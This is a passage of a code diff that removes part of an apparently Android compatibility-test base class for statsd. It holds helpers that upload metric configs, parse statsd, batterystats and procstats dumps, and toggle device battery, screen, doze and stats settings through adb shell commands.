- builder.setAllowUserBuildTracing(true);
-
- TraceConfig.IncidentReportConfig incident = TraceConfig.IncidentReportConfig
- .newBuilder()
- .setDestinationPackage("foo.bar.baz")
- .build();
- builder.setIncidentReportConfig(incident);
-
- // To avoid being hit with guardrails firing in multiple test runs back
- // to back, we set a unique session key for each config.
- Random random = new Random();
- StringBuilder sessionNameBuilder = new StringBuilder("statsd-cts-");
- sessionNameBuilder.append(random.nextInt() & Integer.MAX_VALUE);
- builder.setUniqueSessionName(sessionNameBuilder.toString());
-
- return builder.build().toByteString();
- }
-
- /**
- * Resets the state of the Perfetto guardrails. This avoids that the test fails if it's
- * run too close of for too many times and hits the upload limit.
- */
- protected void resetPerfettoGuardrails() throws Exception {
- final String cmd = "perfetto --reset-guardrails";
- CommandResult cr = getDevice().executeShellV2Command(cmd);
- if (cr.getStatus() != CommandStatus.SUCCESS)
- throw new Exception(String.format("Error while executing %s: %s %s", cmd, cr.getStdout(), cr.getStderr()));
- }
-
- private String probe(String path) throws Exception {
- return getDevice().executeShellCommand("if [ -e " + path + " ] ; then"
- + " cat " + path + " ; else echo -1 ; fi");
- }
-
- /**
- * Determines whether perfetto enabled the kernel ftrace tracer.
- */
- protected boolean isSystemTracingEnabled() throws Exception {
- final String traceFsPath = "/sys/kernel/tracing/tracing_on";
- String tracing_on = probe(traceFsPath);
- if (tracing_on.startsWith("0")) return false;
- if (tracing_on.startsWith("1")) return true;
-
- // fallback to debugfs
- LogUtil.CLog.d("Unexpected state for %s = %s. Falling back to debugfs", traceFsPath,
- tracing_on);
-
- final String debugFsPath = "/sys/kernel/debug/tracing/tracing_on";
- tracing_on = probe(debugFsPath);
- if (tracing_on.startsWith("0")) return false;
- if (tracing_on.startsWith("1")) return true;
- throw new Exception(String.format("Unexpected state for %s = %s", traceFsPath, tracing_on));
- }
-
- protected static StatsdConfig.Builder createConfigBuilder() {
- return StatsdConfig.newBuilder()
- .setId(CONFIG_ID)
- .addAllowedLogSource("AID_SYSTEM")
- .addAllowedLogSource("AID_BLUETOOTH")
- // TODO(b/134091167): Fix bluetooth source name issue in Auto platform.
- .addAllowedLogSource("com.android.bluetooth")
- .addAllowedLogSource("AID_LMKD")
- .addAllowedLogSource("AID_RADIO")
- .addAllowedLogSource("AID_ROOT")
- .addAllowedLogSource("AID_STATSD")
- .addAllowedLogSource("com.android.systemui")
- .addAllowedLogSource(DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE)
- .addDefaultPullPackages("AID_RADIO")
- .addDefaultPullPackages("AID_SYSTEM")
- .addWhitelistedAtomIds(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
- }
-
- protected void createAndUploadConfig(int atomTag) throws Exception {
- StatsdConfig.Builder conf = createConfigBuilder();
- addAtomEvent(conf, atomTag);
- uploadConfig(conf);
- }
-
- protected void uploadConfig(StatsdConfig.Builder config) throws Exception {
- uploadConfig(config.build());
- }
-
- protected void uploadConfig(StatsdConfig config) throws Exception {
- LogUtil.CLog.d("Uploading the following config:\n" + config.toString());
- File configFile = File.createTempFile("statsdconfig", ".config");
- configFile.deleteOnExit();
- Files.write(config.toByteArray(), configFile);
- String remotePath = "/data/local/tmp/" + configFile.getName();
- getDevice().pushFile(configFile, remotePath);
- getDevice().executeShellCommand(
- String.join(" ", "cat", remotePath, "|", UPDATE_CONFIG_CMD,
- String.valueOf(CONFIG_ID)));
- getDevice().executeShellCommand("rm " + remotePath);
- }
-
- protected void removeConfig(long configId) throws Exception {
- getDevice().executeShellCommand(
- String.join(" ", REMOVE_CONFIG_CMD, String.valueOf(configId)));
- }
-
- /** Gets the statsd report and sorts it. Note that this also deletes that report from statsd. */
- protected List<EventMetricData> getEventMetricDataList() throws Exception {
- ConfigMetricsReportList reportList = getReportList();
- return getEventMetricDataList(reportList);
- }
-
- /**
- * Gets a List of sorted ConfigMetricsReports from ConfigMetricsReportList.
- */
- protected List<ConfigMetricsReport> getSortedConfigMetricsReports(
- ConfigMetricsReportList configMetricsReportList) {
- return configMetricsReportList.getReportsList().stream()
- .sorted(Comparator.comparing(ConfigMetricsReport::getCurrentReportWallClockNanos))
- .collect(Collectors.toList());
- }
-
- /**
- * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
- * contain a single report).
- */
- protected List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
- throws Exception {
- assertThat(reportList.getReportsCount()).isEqualTo(1);
- ConfigMetricsReport report = reportList.getReports(0);
-
- List<EventMetricData> data = new ArrayList<>();
- for (StatsLogReport metric : report.getMetricsList()) {
- data.addAll(metric.getEventMetrics().getDataList());
- }
- data.sort(Comparator.comparing(EventMetricData::getElapsedTimestampNanos));
-
- LogUtil.CLog.d("Get EventMetricDataList as following:\n");
- for (EventMetricData d : data) {
- LogUtil.CLog.d("Atom at " + d.getElapsedTimestampNanos() + ":\n" + d.getAtom().toString());
- }
- return data;
- }
-
- protected List<Atom> getGaugeMetricDataList() throws Exception {
- return getGaugeMetricDataList(/*checkTimestampTruncated=*/false);
- }
-
- protected List<Atom> getGaugeMetricDataList(boolean checkTimestampTruncated) throws Exception {
- ConfigMetricsReportList reportList = getReportList();
- assertThat(reportList.getReportsCount()).isEqualTo(1);
-
- // only config
- ConfigMetricsReport report = reportList.getReports(0);
- assertThat(report.getMetricsCount()).isEqualTo(1);
-
- List<Atom> data = new ArrayList<>();
- for (GaugeMetricData gaugeMetricData :
- report.getMetrics(0).getGaugeMetrics().getDataList()) {
- assertThat(gaugeMetricData.getBucketInfoCount()).isEqualTo(1);
- GaugeBucketInfo bucketInfo = gaugeMetricData.getBucketInfo(0);
- for (Atom atom : bucketInfo.getAtomList()) {
- data.add(atom);
- }
- if (checkTimestampTruncated) {
- for (long timestampNs: bucketInfo.getElapsedTimestampNanosList()) {
- assertTimestampIsTruncated(timestampNs);
- }
- }
- }
-
- LogUtil.CLog.d("Get GaugeMetricDataList as following:\n");
- for (Atom d : data) {
- LogUtil.CLog.d("Atom:\n" + d.toString());
- }
- return data;
- }
-
- /**
- * Gets the statsd report and extract duration metric data.
- * Note that this also deletes that report from statsd.
- */
- protected List<DurationMetricData> getDurationMetricDataList() throws Exception {
- ConfigMetricsReportList reportList = getReportList();
- assertThat(reportList.getReportsCount()).isEqualTo(1);
- ConfigMetricsReport report = reportList.getReports(0);
-
- List<DurationMetricData> data = new ArrayList<>();
- for (StatsLogReport metric : report.getMetricsList()) {
- data.addAll(metric.getDurationMetrics().getDataList());
- }
-
- LogUtil.CLog.d("Got DurationMetricDataList as following:\n");
- for (DurationMetricData d : data) {
- LogUtil.CLog.d("Duration " + d);
- }
- return data;
- }
-
- /**
- * Gets the statsd report and extract count metric data.
- * Note that this also deletes that report from statsd.
- */
- protected List<CountMetricData> getCountMetricDataList() throws Exception {
- ConfigMetricsReportList reportList = getReportList();
- assertThat(reportList.getReportsCount()).isEqualTo(1);
- ConfigMetricsReport report = reportList.getReports(0);
-
- List<CountMetricData> data = new ArrayList<>();
- for (StatsLogReport metric : report.getMetricsList()) {
- data.addAll(metric.getCountMetrics().getDataList());
- }
-
- LogUtil.CLog.d("Got CountMetricDataList as following:\n");
- for (CountMetricData d : data) {
- LogUtil.CLog.d("Count " + d);
- }
- return data;
- }
-
- /**
- * Gets the statsd report and extract value metric data.
- * Note that this also deletes that report from statsd.
- */
- protected List<ValueMetricData> getValueMetricDataList() throws Exception {
- ConfigMetricsReportList reportList = getReportList();
- assertThat(reportList.getReportsCount()).isEqualTo(1);
- ConfigMetricsReport report = reportList.getReports(0);
-
- List<ValueMetricData> data = new ArrayList<>();
- for (StatsLogReport metric : report.getMetricsList()) {
- data.addAll(metric.getValueMetrics().getDataList());
- }
-
- LogUtil.CLog.d("Got ValueMetricDataList as following:\n");
- for (ValueMetricData d : data) {
- LogUtil.CLog.d("Value " + d);
- }
- return data;
- }
-
- protected StatsLogReport getStatsLogReport() throws Exception {
- ConfigMetricsReport report = getConfigMetricsReport();
- assertThat(report.hasUidMap()).isTrue();
- assertThat(report.getMetricsCount()).isEqualTo(1);
- return report.getMetrics(0);
- }
-
- protected ConfigMetricsReport getConfigMetricsReport() throws Exception {
- ConfigMetricsReportList reportList = getReportList();
- assertThat(reportList.getReportsCount()).isEqualTo(1);
- return reportList.getReports(0);
- }
-
- /** Gets the statsd report. Note that this also deletes that report from statsd. */
- protected ConfigMetricsReportList getReportList() throws Exception {
- try {
- ConfigMetricsReportList reportList = getDump(ConfigMetricsReportList.parser(),
- String.join(" ", DUMP_REPORT_CMD, String.valueOf(CONFIG_ID),
- "--include_current_bucket", "--proto"));
- return reportList;
- } catch (com.google.protobuf.InvalidProtocolBufferException e) {
- LogUtil.CLog.e("Failed to fetch and parse the statsd output report. "
- + "Perhaps there is not a valid statsd config for the requested "
- + "uid=" + getHostUid() + ", id=" + CONFIG_ID + ".");
- throw (e);
- }
- }
-
- protected BatteryStatsProto getBatteryStatsProto() throws Exception {
- try {
- BatteryStatsProto batteryStatsProto = getDump(BatteryStatsServiceDumpProto.parser(),
- String.join(" ", DUMP_BATTERYSTATS_CMD,
- "--proto")).getBatterystats();
- LogUtil.CLog.d("Got batterystats:\n " + batteryStatsProto.toString());
- return batteryStatsProto;
- } catch (com.google.protobuf.InvalidProtocolBufferException e) {
- LogUtil.CLog.e("Failed to dump batterystats proto");
- throw (e);
- }
- }
-
- /** Gets reports from the statsd data incident section from the stats dumpsys. */
- protected List<ConfigMetricsReportList> getReportsFromStatsDataDumpProto() throws Exception {
- try {
- StatsDataDumpProto statsProto = getDump(StatsDataDumpProto.parser(),
- String.join(" ", DUMPSYS_STATS_CMD, "--proto"));
- // statsProto holds repeated bytes, which we must parse into ConfigMetricsReportLists.
- List<ConfigMetricsReportList> reports
- = new ArrayList<>(statsProto.getConfigMetricsReportListCount());
- for (ByteString reportListBytes : statsProto.getConfigMetricsReportListList()) {
- reports.add(ConfigMetricsReportList.parseFrom(reportListBytes));
- }
- LogUtil.CLog.d("Got dumpsys stats output:\n " + reports.toString());
- return reports;
- } catch (com.google.protobuf.InvalidProtocolBufferException e) {
- LogUtil.CLog.e("Failed to dumpsys stats proto");
- throw (e);
- }
- }
-
- protected List<ProcessStatsProto> getProcStatsProto() throws Exception {
- try {
-
- List<ProcessStatsProto> processStatsProtoList =
- new ArrayList<ProcessStatsProto>();
- android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
- ProcessStatsServiceDumpProto.parser(),
- String.join(" ", DUMP_PROCSTATS_CMD,
- "--proto")).getProcstatsNow();
- for (android.service.procstats.ProcessStatsProto stats :
- sectionProto.getProcessStatsList()) {
- ProcessStatsProto procStats = ProcessStatsProto.parser().parseFrom(
- stats.toByteArray());
- processStatsProtoList.add(procStats);
- }
- LogUtil.CLog.d("Got procstats:\n ");
- for (ProcessStatsProto processStatsProto : processStatsProtoList) {
- LogUtil.CLog.d(processStatsProto.toString());
- }
- return processStatsProtoList;
- } catch (com.google.protobuf.InvalidProtocolBufferException e) {
- LogUtil.CLog.e("Failed to dump procstats proto");
- throw (e);
- }
- }
-
- /*
- * Get all procstats package data in proto
- */
- protected List<ProcessStatsPackageProto> getAllProcStatsProto() throws Exception {
- try {
- android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
- ProcessStatsServiceDumpProto.parser(),
- String.join(" ", DUMP_PROCSTATS_CMD,
- "--proto")).getProcstatsOver24Hrs();
- List<ProcessStatsPackageProto> processStatsProtoList =
- new ArrayList<ProcessStatsPackageProto>();
- for (android.service.procstats.ProcessStatsPackageProto pkgStast :
- sectionProto.getPackageStatsList()) {
- ProcessStatsPackageProto pkgAtom =
- ProcessStatsPackageProto.parser().parseFrom(pkgStast.toByteArray());
- processStatsProtoList.add(pkgAtom);
- }
- LogUtil.CLog.d("Got procstats:\n ");
- for (ProcessStatsPackageProto processStatsProto : processStatsProtoList) {
- LogUtil.CLog.d(processStatsProto.toString());
- }
- return processStatsProtoList;
- } catch (com.google.protobuf.InvalidProtocolBufferException e) {
- LogUtil.CLog.e("Failed to dump procstats proto");
- throw (e);
- }
- }
-
- /*
- * Get all processes' procstats statsd data in proto
- */
- protected List<android.service.procstats.ProcessStatsProto> getAllProcStatsProtoForStatsd()
- throws Exception {
- try {
- android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
- android.service.procstats.ProcessStatsSectionProto.parser(),
- String.join(" ", DUMP_PROCSTATS_CMD,
- "--statsd"));
- List<android.service.procstats.ProcessStatsProto> processStatsProtoList
- = sectionProto.getProcessStatsList();
- LogUtil.CLog.d("Got procstats:\n ");
- for (android.service.procstats.ProcessStatsProto processStatsProto
- : processStatsProtoList) {
- LogUtil.CLog.d(processStatsProto.toString());
- }
- return processStatsProtoList;
- } catch (com.google.protobuf.InvalidProtocolBufferException e) {
- LogUtil.CLog.e("Failed to dump procstats proto");
- throw (e);
- }
- }
-
- protected boolean hasBattery() throws Exception {
- try {
- BatteryServiceDumpProto batteryProto = getDump(BatteryServiceDumpProto.parser(),
- String.join(" ", DUMP_BATTERY_CMD, "--proto"));
- LogUtil.CLog.d("Got battery service dump:\n " + batteryProto.toString());
- return batteryProto.getIsPresent();
- } catch (com.google.protobuf.InvalidProtocolBufferException e) {
- LogUtil.CLog.e("Failed to dump batteryservice proto");
- throw (e);
- }
- }
-
- /** Creates a FieldValueMatcher.Builder corresponding to the given field. */
- protected static FieldValueMatcher.Builder createFvm(int field) {
- return FieldValueMatcher.newBuilder().setField(field);
- }
-
- protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag) throws Exception {
- addAtomEvent(conf, atomTag, new ArrayList<FieldValueMatcher.Builder>());
- }
-
- /**
- * Adds an event to the config for an atom that matches the given key.
- *
- * @param conf configuration
- * @param atomTag atom tag (from atoms.proto)
- * @param fvm FieldValueMatcher.Builder for the relevant key
- */
- protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag,
- FieldValueMatcher.Builder fvm)
- throws Exception {
- addAtomEvent(conf, atomTag, Arrays.asList(fvm));
- }
-
- /**
- * Adds an event to the config for an atom that matches the given keys.
- *
- * @param conf configuration
- * @param atomId atom tag (from atoms.proto)
- * @param fvms list of FieldValueMatcher.Builders to attach to the atom. May be null.
- */
- protected void addAtomEvent(StatsdConfig.Builder conf, int atomId,
- List<FieldValueMatcher.Builder> fvms) throws Exception {
-
- final String atomName = "Atom" + System.nanoTime();
- final String eventName = "Event" + System.nanoTime();
-
- SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
- if (fvms != null) {
- for (FieldValueMatcher.Builder fvm : fvms) {
- sam.addFieldValueMatcher(fvm);
- }
- }
- conf.addAtomMatcher(AtomMatcher.newBuilder()
- .setId(atomName.hashCode())
- .setSimpleAtomMatcher(sam));
- conf.addEventMetric(EventMetric.newBuilder()
- .setId(eventName.hashCode())
- .setWhat(atomName.hashCode()));
- }
-
- /**
- * Adds an atom to a gauge metric of a config
- *
- * @param conf configuration
- * @param atomId atom id (from atoms.proto)
- * @param gaugeMetric the gauge metric to add
- */
- protected void addGaugeAtom(StatsdConfig.Builder conf, int atomId,
- GaugeMetric.Builder gaugeMetric) throws Exception {
- final String atomName = "Atom" + System.nanoTime();
- final String gaugeName = "Gauge" + System.nanoTime();
- final String predicateName = "APP_BREADCRUMB";
- SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
- conf.addAtomMatcher(AtomMatcher.newBuilder()
- .setId(atomName.hashCode())
- .setSimpleAtomMatcher(sam));
- final String predicateTrueName = "APP_BREADCRUMB_1";
- final String predicateFalseName = "APP_BREADCRUMB_2";
- conf.addAtomMatcher(AtomMatcher.newBuilder()
- .setId(predicateTrueName.hashCode())
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
- .setEqInt(1)
- )
- )
- )
- // Used to trigger predicate
- .addAtomMatcher(AtomMatcher.newBuilder()
- .setId(predicateFalseName.hashCode())
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
- .setEqInt(2)
- )
- )
- );
- conf.addPredicate(Predicate.newBuilder()
- .setId(predicateName.hashCode())
- .setSimplePredicate(SimplePredicate.newBuilder()
- .setStart(predicateTrueName.hashCode())
- .setStop(predicateFalseName.hashCode())
- .setCountNesting(false)
- )
- );
- gaugeMetric
- .setId(gaugeName.hashCode())
- .setWhat(atomName.hashCode())
- .setCondition(predicateName.hashCode());
- conf.addGaugeMetric(gaugeMetric.build());
- }
-
- /**
- * Adds an atom to a gauge metric of a config
- *
- * @param conf configuration
- * @param atomId atom id (from atoms.proto)
- * @param dimension dimension is needed for most pulled atoms
- */
- protected void addGaugeAtomWithDimensions(StatsdConfig.Builder conf, int atomId,
- @Nullable FieldMatcher.Builder dimension) throws Exception {
- GaugeMetric.Builder gaugeMetric = GaugeMetric.newBuilder()
- .setGaugeFieldsFilter(FieldFilter.newBuilder().setIncludeAll(true).build())
- .setSamplingType(GaugeMetric.SamplingType.CONDITION_CHANGE_TO_TRUE)
- .setMaxNumGaugeAtomsPerBucket(10000)
- .setBucket(TimeUnit.CTS);
- if (dimension != null) {
- gaugeMetric.setDimensionsInWhat(dimension.build());
- }
- addGaugeAtom(conf, atomId, gaugeMetric);
- }
-
- /**
- * Asserts that each set of states in stateSets occurs at least once in data.
- * Asserts that the states in data occur in the same order as the sets in stateSets.
- *
- * @param stateSets A list of set of states, where each set represents an equivalent
- * state of the device for the purpose of CTS.
- * @param data list of EventMetricData from statsd, produced by
- * getReportMetricListData()
- * @param wait expected duration (in ms) between state changes; asserts that the
- * actual wait
- * time was wait/2 <= actual_wait <= 5*wait. Use 0 to ignore this
- * assertion.
- * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
- */
- public void assertStatesOccurred(List<Set<Integer>> stateSets, List<EventMetricData> data,
- int wait, Function<Atom, Integer> getStateFromAtom) {
- // Sometimes, there are more events than there are states.
- // Eg: When the screen turns off, it may go into OFF and then DOZE immediately.
- assertWithMessage("Too few states found").that(data.size()).isAtLeast(stateSets.size());
- int stateSetIndex = 0; // Tracks which state set we expect the data to be in.
- for (int dataIndex = 0; dataIndex < data.size(); dataIndex++) {
- Atom atom = data.get(dataIndex).getAtom();
- int state = getStateFromAtom.apply(atom);
- // If state is in the current state set, we do not assert anything.
- // If it is not, we expect to have transitioned to the next state set.
- if (stateSets.get(stateSetIndex).contains(state)) {
- // No need to assert anything. Just log it.
- LogUtil.CLog.i("The following atom at dataIndex=" + dataIndex + " is "
- + "in stateSetIndex " + stateSetIndex + ":\n"
- + data.get(dataIndex).getAtom().toString());
- } else {
- stateSetIndex += 1;
- LogUtil.CLog.i("Assert that the following atom at dataIndex=" + dataIndex + " is"
- + " in stateSetIndex " + stateSetIndex + ":\n"
- + data.get(dataIndex).getAtom().toString());
- assertWithMessage("Missed first state").that(dataIndex).isNotEqualTo(0);
- assertWithMessage("Too many states").that(stateSetIndex)
- .isLessThan(stateSets.size());
- assertWithMessage(String.format("Is in wrong state (%d)", state))
- .that(stateSets.get(stateSetIndex)).contains(state);
- if (wait > 0) {
- assertTimeDiffBetween(data.get(dataIndex - 1), data.get(dataIndex),
- wait / 2, wait * 5);
- }
- }
- }
- assertWithMessage("Too few states").that(stateSetIndex).isEqualTo(stateSets.size() - 1);
- }
-
- /**
- * Removes all elements from data prior to the first occurrence of an element of state. After
- * this method is called, the first element of data (if non-empty) is guaranteed to be an
- * element in state.
- *
- * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
- */
- public void popUntilFind(List<EventMetricData> data, Set<Integer> state,
- Function<Atom, Integer> getStateFromAtom) {
- int firstStateIdx;
- for (firstStateIdx = 0; firstStateIdx < data.size(); firstStateIdx++) {
- Atom atom = data.get(firstStateIdx).getAtom();
- if (state.contains(getStateFromAtom.apply(atom))) {
- break;
- }
- }
- if (firstStateIdx == 0) {
- // First first element already is in state, so there's nothing to do.
- return;
- }
- data.subList(0, firstStateIdx).clear();
- }
-
- /**
- * Removes all elements from data after to the last occurrence of an element of state. After
- * this method is called, the last element of data (if non-empty) is guaranteed to be an
- * element in state.
- *
- * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
- */
- public void popUntilFindFromEnd(List<EventMetricData> data, Set<Integer> state,
- Function<Atom, Integer> getStateFromAtom) {
- int lastStateIdx;
- for (lastStateIdx = data.size() - 1; lastStateIdx >= 0; lastStateIdx--) {
- Atom atom = data.get(lastStateIdx).getAtom();
- if (state.contains(getStateFromAtom.apply(atom))) {
- break;
- }
- }
- if (lastStateIdx == data.size()-1) {
- // Last element already is in state, so there's nothing to do.
- return;
- }
- data.subList(lastStateIdx+1, data.size()).clear();
- }
-
- /** Returns the UID of the host, which should always either be SHELL (2000) or ROOT (0). */
- protected int getHostUid() throws DeviceNotAvailableException {
- String strUid = "";
- try {
- strUid = getDevice().executeShellCommand("id -u");
- return Integer.parseInt(strUid.trim());
- } catch (NumberFormatException e) {
- LogUtil.CLog.e("Failed to get host's uid via shell command. Found " + strUid);
- // Fall back to alternative method...
- if (getDevice().isAdbRoot()) {
- return 0; // ROOT
- } else {
- return 2000; // SHELL
- }
- }
- }
-
- protected String getProperty(String prop) throws Exception {
- return getDevice().executeShellCommand("getprop " + prop).replace("\n", "");
- }
-
- protected void turnScreenOn() throws Exception {
- getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
- getDevice().executeShellCommand("wm dismiss-keyguard");
- }
-
- protected void turnScreenOff() throws Exception {
- getDevice().executeShellCommand("input keyevent KEYCODE_SLEEP");
- }
-
- protected void setChargingState(int state) throws Exception {
- getDevice().executeShellCommand("cmd battery set status " + state);
- }
-
- protected void unplugDevice() throws Exception {
- // On batteryless devices on Android P or above, the 'unplug' command
- // alone does not simulate the really unplugged state.
- //
- // This is because charging state is left as "unknown". Unless a valid
- // state like 3 = BatteryManager.BATTERY_STATUS_DISCHARGING is set,
- // framework does not consider the device as running on battery.
- setChargingState(3);
-
- getDevice().executeShellCommand("cmd battery unplug");
- }
-
- protected void plugInAc() throws Exception {
- getDevice().executeShellCommand("cmd battery set ac 1");
- }
-
- protected void plugInUsb() throws Exception {
- getDevice().executeShellCommand("cmd battery set usb 1");
- }
-
- protected void plugInWireless() throws Exception {
- getDevice().executeShellCommand("cmd battery set wireless 1");
- }
-
- protected void enableLooperStats() throws Exception {
- getDevice().executeShellCommand("cmd looper_stats enable");
- }
-
- protected void resetLooperStats() throws Exception {
- getDevice().executeShellCommand("cmd looper_stats reset");
- }
-
- protected void disableLooperStats() throws Exception {
- getDevice().executeShellCommand("cmd looper_stats disable");
- }
-
- protected void enableBinderStats() throws Exception {
- getDevice().executeShellCommand("dumpsys binder_calls_stats --enable");
- }
-
- protected void resetBinderStats() throws Exception {
- getDevice().executeShellCommand("dumpsys binder_calls_stats --reset");
- }
-
- protected void disableBinderStats() throws Exception {
- getDevice().executeShellCommand("dumpsys binder_calls_stats --disable");
- }
-
- protected void binderStatsNoSampling() throws Exception {
- getDevice().executeShellCommand("dumpsys binder_calls_stats --no-sampling");
- }
-
- protected void setUpLooperStats() throws Exception {
- getDevice().executeShellCommand("cmd looper_stats enable");
- getDevice().executeShellCommand("cmd looper_stats sampling_interval 1");
- getDevice().executeShellCommand("cmd looper_stats reset");
- }
-
- protected void cleanUpLooperStats() throws Exception {
- getDevice().executeShellCommand("cmd looper_stats disable");
- }
-
- public void setAppBreadcrumbPredicate() throws Exception {
- doAppBreadcrumbReportedStart(1);
- }
-
- public void clearAppBreadcrumbPredicate() throws Exception {
- doAppBreadcrumbReportedStart(2);
- }
-
- public void doAppBreadcrumbReportedStart(int label) throws Exception {
- doAppBreadcrumbReported(label, AppBreadcrumbReported.State.START.ordinal());
- }
-
- public void doAppBreadcrumbReportedStop(int label) throws Exception {
- doAppBreadcrumbReported(label, AppBreadcrumbReported.State.STOP.ordinal());
- }
-
- public void doAppBreadcrumbReported(int label) throws Exception {
- doAppBreadcrumbReported(label, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
- }
-
- public void doAppBreadcrumbReported(int label, int state) throws Exception {
- getDevice().executeShellCommand(String.format(
- "cmd stats log-app-breadcrumb %d %d", label, state));
- }
-
- protected void setBatteryLevel(int level) throws Exception {
- getDevice().executeShellCommand("cmd battery set level " + level);
- }
-
- protected void resetBatteryStatus() throws Exception {
- getDevice().executeShellCommand("cmd battery reset");
- }
-
- protected int getScreenBrightness() throws Exception {
- return Integer.parseInt(
- getDevice().executeShellCommand("settings get system screen_brightness").trim());
- }
-
- protected void setScreenBrightness(int brightness) throws Exception {
- getDevice().executeShellCommand("settings put system screen_brightness " + brightness);
- }
-
- // Gets whether "Always on Display" setting is enabled.
- // In rare cases, this is different from whether the device can enter SCREEN_STATE_DOZE.
- protected String getAodState() throws Exception {
- return getDevice().executeShellCommand("settings get secure doze_always_on");
- }
-
- protected void setAodState(String state) throws Exception {
- getDevice().executeShellCommand("settings put secure doze_always_on " + state);
- }
-
- protected boolean isScreenBrightnessModeManual() throws Exception {
- String mode = getDevice().executeShellCommand("settings get system screen_brightness_mode");
- return Integer.parseInt(mode.trim()) == 0;
- }
-
- protected void setScreenBrightnessMode(boolean manual) throws Exception {
- getDevice().executeShellCommand(
- "settings put system screen_brightness_mode " + (manual ? 0 : 1));
- }
-
- protected void enterDozeModeLight() throws Exception {
- getDevice().executeShellCommand("dumpsys deviceidle force-idle light");
- }
-
- protected void enterDozeModeDeep() throws Exception {
- getDevice().executeShellCommand("dumpsys deviceidle force-idle deep");
- }
-
- protected void leaveDozeMode() throws Exception {
- getDevice().executeShellCommand("dumpsys deviceidle unforce");
- getDevice().executeShellCommand("dumpsys deviceidle disable");
- getDevice().executeShellCommand("dumpsys deviceidle enable");
- }
-
- protected void turnBatterySaverOn() throws Exception {
- unplugDevice();
- getDevice().executeShellCommand("settings put global low_power 1");
- }
-
- protected void turnBatterySaverOff() throws Exception {
- getDevice().executeShellCommand("settings put global low_power 0");
- getDevice().executeShellCommand("cmd battery reset");
- }
-
- protected void rebootDevice() throws Exception {
- getDevice().rebootUntilOnline();
- }
-
- /**
- * Asserts that the two events are within the specified range of each other.
- *
- * @param d0 the event that should occur first
- * @param d1 the event that should occur second
- * @param minDiffMs d0 should precede d1 by at least this amount
- * @param maxDiffMs d0 should precede d1 by at most this amount
- */
- public static void assertTimeDiffBetween(EventMetricData d0, EventMetricData d1,
- int minDiffMs, int maxDiffMs) {
- long diffMs = (d1.getElapsedTimestampNanos() - d0.getElapsedTimestampNanos()) / 1_000_000;
- assertWithMessage("Illegal time difference")
- .that(diffMs).isIn(Range.closed((long) minDiffMs, (long) maxDiffMs));
- }
-
- protected String getCurrentLogcatDate() throws Exception {
- // TODO: Do something more robust than this for getting logcat markers.
- long timestampMs = getDevice().getDeviceDate();
- return new SimpleDateFormat("MM-dd HH:mm:ss.SSS")
- .format(new Date(timestampMs));
- }
-
- protected String getLogcatSince(String date, String logcatParams) throws Exception {
- return getDevice().executeShellCommand(String.format(
- "logcat -v threadtime -t '%s' -d %s", date, logcatParams));
- }
-
- // TODO: Remove this and migrate all usages to createConfigBuilder()
- protected StatsdConfig.Builder getPulledConfig() {
- return createConfigBuilder();
- }
- /**
- * Determines if the device has the given feature.
- * Prints a warning if its value differs from requiredAnswer.
- */
- protected boolean hasFeature(String featureName, boolean requiredAnswer) throws Exception {
- final String features = getDevice().executeShellCommand("pm list features");
- boolean hasIt = features.contains(featureName);
- if (hasIt != requiredAnswer) {
- LogUtil.CLog.w("Device does " + (requiredAnswer ? "not " : "") + "have feature "
- + featureName);
- }
- return hasIt == requiredAnswer;
- }
-
- /**
- * Determines if the device has |file|.
- */
- protected boolean doesFileExist(String file) throws Exception {
- return getDevice().doesFileExist(file);
- }
-
- protected void turnOnAirplaneMode() throws Exception {
- getDevice().executeShellCommand("cmd connectivity airplane-mode enable");
- }
-
- protected void turnOffAirplaneMode() throws Exception {
- getDevice().executeShellCommand("cmd connectivity airplane-mode disable");
- }
-
- /**
- * Returns a list of fields and values for {@code className} from {@link TelephonyDebugService}
- * output.
- *
- * <p>Telephony dumpsys output does not support proto at the moment. This method provides
- * limited support for parsing its output. Specifically, it does not support arrays or
- * multi-line values.
- */
- private List<Map<String, String>> getTelephonyDumpEntries(String className) throws Exception {
- // Matches any line with indentation, except for lines with only spaces
- Pattern indentPattern = Pattern.compile("^(\\s*)[^ ].*$");
- // Matches pattern for class, e.g. " Phone:"
- Pattern classNamePattern = Pattern.compile("^(\\s*)" + Pattern.quote(className) + ":.*$");
- // Matches pattern for key-value pairs, e.g. " mPhoneId=1"
- Pattern keyValuePattern = Pattern.compile("^(\\s*)([a-zA-Z]+[a-zA-Z0-9_]*)\\=(.+)$");
- String response =
- getDevice().executeShellCommand("dumpsys activity service TelephonyDebugService");
- Queue<String> responseLines = new LinkedList<>(Arrays.asList(response.split("[\\r\\n]+")));
-
- List<Map<String, String>> results = new ArrayList<>();
- while (responseLines.peek() != null) {
- Matcher matcher = classNamePattern.matcher(responseLines.poll());
- if (matcher.matches()) {
- final int classIndentLevel = matcher.group(1).length();
- final Map<String, String> instanceEntries = new HashMap<>();
- while (responseLines.peek() != null) {
- // Skip blank lines
- matcher = indentPattern.matcher(responseLines.peek());
- if (responseLines.peek().length() == 0 || !matcher.matches()) {
- responseLines.poll();
- continue;
- }
- // Finish (without consuming the line) if already parsed past this instance
